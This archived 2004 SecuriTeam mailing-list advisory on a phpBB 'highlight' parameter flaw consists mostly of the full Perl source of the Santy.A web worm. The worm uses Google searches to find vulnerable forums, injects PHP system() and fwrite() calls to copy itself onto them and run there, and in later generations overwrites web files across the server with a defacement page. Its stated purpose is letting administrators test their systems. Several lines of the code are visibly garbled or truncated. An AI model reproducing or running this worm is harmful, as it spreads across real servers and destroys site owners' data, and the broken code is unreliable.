

[EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0075.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 12/22/04

To: list@securiteam.com

Date: 22 Dec 2004 11:07:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

phpBB highlight Arbitrary File Upload (Santy.A)

SUMMARY

A new worm called Santy.A has been propagating across the Internet using a newly discovered vulnerability in phpBB's highlight parameter found in the viewtopic.php file. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
#
# Santy.A – phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# –SECU <http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query= For
educational purpose > For educational purpose
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.f-secure.com/v-descs/santy\_a.shtml
#
#!/usr/bin/perl
use
strict;
```

Securiteam: [EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

```
use Socket;

sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();

sub GrabURL($);
sub str2chr($);

eval{ fork and exit; };

my $generation = x;
PayLoad() if $generation > 3;

open IN, $0 or exit;
my $self = join " , <IN>;
close IN;
unlink $0;

while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}

$self =~ s/my \$generation = (\d+);/my $generation = ' . ($1 + 1) .
';/e;

my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q('
$markStr . ')";';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) .
')%252e%2527';

while(1) {
exit if -e 'stop.it';

OUTER: for my $url (GoGoogle()) {

exit if -e 'stop.it';

$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
```

Securiteam: [EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

```
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' .
str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';

$url =~ s/&highlight=.*$//;
$url .= $portion;

next OUTER unless GrabURL($url);
}

my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' .
$selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;

GrabURL($url);
}
}

sub str2chr($) {
my $s = shift;

$s =~ s/(.)/'chr(' . ord($1) . ')%252e'/seg;
$s =~ s/%252e$//;

return $s;
}

sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all'
'&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' .
int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search?q=.+?)' . '><img src=/nav_page.gif
width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}
}
```

Securiteam: [EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

```
return @urls;
}

sub GrabURL($) {
my $url = shift;
$url =~ s/^http://##i;

my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);

my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept: */*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .

"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";

my $port = 80;
if($host =~ /(.*):(\d+)/){ $host = $1; $port = $2;}

my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);

connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;

my $answer = join "", <Server>;
close (Server);

return $answer;
}

sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF/DTD HTML 2.0/EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
$generation .q{.</b></ADDRESS>
</BODY></HTML>
};
```

Securiteam: [EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

```
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}

sub DoDir($) {

my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/##;

local *DIR;
opendir DIR, $dir or return;

for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {

unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}

if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~
\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}

closedir DIR;
}

sub Pay Load() {

my @dirs;

eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};

push(@dirs, '/');

for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] phpBB highlight Arbitrary File Upload (Santy.A)

The information has been provided by Anonymous.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.